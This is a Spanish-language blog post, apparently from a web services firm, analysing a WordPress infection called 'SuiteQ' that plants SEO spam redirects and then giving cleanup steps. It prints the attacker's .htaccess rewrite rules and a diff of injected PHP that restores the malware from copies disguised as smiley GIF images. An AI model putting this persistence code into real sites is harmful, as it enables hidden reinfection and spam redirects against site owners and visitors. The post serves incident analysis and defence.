Recientemente nos solicitaron ayuda por un sitio web que fue infectado por un virus, «SuiteQ», inyectado por un bot, aparentemente, a través de algún backdoor.
Te contamos todos los detalles!
Comportamiento
Table of Contents
Se detecto la presencia del virus al realizar la siguiente búsqueda en google site:mysiteweb.com.
Al momento de realizar esta búsqueda se podía observar que había montón de enlaces con nombres extraños en el sitio web, estos enlaces se encontraban dentro del sitio web, y cuando hacías click te dirigían automáticamente a una pagina web externa de venta de productos de procedencia dudosa.
El sitio web seguía funcionando perfectamente, es decir, la instrucción era casi indetectable.
Una vez detectada la instrucción comenzamos a trabajar en auditar el sitio para entender el alcance de la infección.
En este caso, la base de datos no había sido comprometida, pero pudimos observar que el virus habia actuado de la siguiente manera:
- .htaccess modificado.
- Los sitemaps del sitio fueron infectados.
- Archivos de wordpress infectados.
- Payload: Se crearon los directorios /suiteq y /products
.htaccess infectado!
Para quienes no lo sepan, básicamente el archivo .htaccess define como el servidor debe responder a las distintas solicitudes de nuestros clientes, por ejemplo:
- Un usuario entra por https://mipagina/51/titulo-de-mi-entrada
- htaccess se encarga de traducir esto a index.php?post_id=51
- y se envia la solicitud al servidor
En este caso el atacante rescribió el .htaccess para poder generar redirecciones discretas al ingresar con determinado enlace.
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteRule ^(.*->>-.*)\d{3}$ suiteq/index\.php?cat=$1&%{QUERY_STRING} [L]
RewriteRule ^.*-(\d+)/$ suiteq/index\.php?id=$1&%{QUERY_STRING} [L]
RewriteRule ^.*(goods[a-z]+map\.xml)$ product/$1 [L]
RewriteRule ^.*(sitemap\.xml)$ product/$1 [L]
...
Sitemaps infectado!
Básicamente los sitemaps del sitio le indican a los buscadores, como google, yahoo y otros las URLs que contiene el sitio web y las reglas de actualizaciones y otras cuestiones relacionadas con las publicaciones.
Leer más acerca de los sitemaps.
Básicamente el atacante había creado un sitemap, con todas sus URL de redirección, de unos 2mb aprox (enorme), y a traves de reglas de htaccess le indicaba a los buscadores que leyeran su sitemap en lugar del propio del sitio web.
De esta manera el virus le indicaba a los bots de los buscadores que sus URL eran validas, logrando así una rápida indexación de todos los motores de búsqueda.
Archivos de wordpress infectados
El virus también modificó los archivos load.php y template-loader.php, de la carpeta wp-incluide, donde incluyo parte del payload del virus.
Estos dos archivos son llamados, en casi, si no en todas los llamados de cualquier pagina o post wordpress.
El código incluido básicamente, verificaba si el virus se encontraba instalado, en caso de no ser así, se instalaba nuevamente, evitando así la remoción del mismo.
527a528,587
>
> //ck1bg
> $nowFileDir = 'suiteq';
> $nowHtacFile = './.htaccess';
> $nmbf1 = './suiteq/template.html';
> $nowIndexFile = './suiteq/index.php';
> $nowLogFile = './suiteq/logs.txt';
> $bkLocalFileIndex1 = './wp-includes/images/smilies/icon_reds.gif';
> $bkLocalFileHtac1 = './wp-includes/images/smilies/icon_blacks.gif';
> $bkLocalFileMoban1 = './wp-includes/images/smilies/icon_greens.gif';
>
> if($nowHtacFile && file_exists($bkLocalFileHtac1)){
> if(!file_exists($nowHtacFile) or (filesize($nowHtacFile) != filesize($bkLocalFileHtac1))){
> if(!is_dir("./$nowFileDir")){
> @mkdir("./$nowFileDir",0755);
> }
> @chmod($nowHtacFile,0755);
> @file_put_contents($nowHtacFile,file_get_contents($bkLocalFileHtac1));
> @chmod($nowHtacFile,0755);
> }
> }
>
>
> if(file_exists($bkLocalFileIndex1)){
> if(!file_exists($nowIndexFile) or (filesize($nowIndexFile) != filesize($bkLocalFileIndex1) && !file_exists($nowLogFile))){
> if(!is_dir("./$nowFileDir")){
> @mkdir("./$nowFileDir",0755);
> }
> @chmod($nowIndexFile,0755);
> @file_put_contents($nowIndexFile,file_get_contents($bkLocalFileIndex1));
> @chmod($nowIndexFile,0755);
> }
> }
>
> if(file_exists($bkLocalFileMoban1)){
>
> if(!file_exists($nmbf1)){
> if(!is_dir("./$nowFileDir")){
> @mkdir("./$nowFileDir",0755);
> }
> @file_put_contents($nmbf1,file_get_contents($bkLocalFileMoban1));
> @chmod($nmbf1,0755);
> }else{
> if(filesize($nmbf1) != filesize($bkLocalFileMoban1)){
> $tpstrMb = file_get_contents($nmbf1);
> if(strstr($tpstrMb,"draft_or_post_title") && !strstr($tpstrMb,"<!--ttt html5 tttt-->")){
> $fitime = filemtime($bkLocalFileMoban1);
> @chmod($bkLocalFileMoban1,0755);
> @file_put_contents($bkLocalFileMoban1,$tpstrMb);
> @touch($bkLocalFileMoban1, $fitime, $fitime);
> }else{
> @chmod($bkLocalFileMoban1,0755);
> @file_put_contents($nmbf1,file_get_contents($bkLocalFileMoban1));
> @chmod($bkLocalFileMoban1,0755);
> }
> }
> }
>
> }
> //ck1end
Tambien fueron infectados los siguientes archivos:
- /wp-admin/images/align-rights.png
- /wp-includes/images/smilies/icon_blacks.gif
SuiteQ Payload
La carga útil del virus se encontraba en el directorio /suiteq, donde se encontraba todo el código de generación de sistemaps.
El payload contiene los siguientes archivos:
- idlogs.txt
- index.php
- logs.txt
- map.log
- template.html
¿Que hacer?
Es una buena pregunta, siempre y cuando sea posible lo mejor sería realizar los siguientes pasos:
- Inhabilita el acceso a tu sitio de forma inmediata.
- Restablecer un backup previo a la fecha de infección, siempre y cuando sea posible.
- Cambiar todas las contraseñas.
- Limpiar los archivos infectados.
- Verifica que ya no se producen las redirecciónes.
- Verifica que tu sitio devuelve un error 404 en su lugar.
- Cambiar permisos de los archivos infectados por read-only.
- Si utilizas wordpress, instala un plugin como «WordFence» o similar.
- Analizar como fue posible la infección.
Si necesitas ayuda, nos dudes en contactarte con softwareBRC.com.ar.
Otros sitios infectados
Al analizar un poco la red, nos encontramos de hay muchos sitios infectados por este virus, u parecidos y lo ignoran totalmente, y no solamente wordpress, también infectan otros CMS y paginas simples echas en PHP.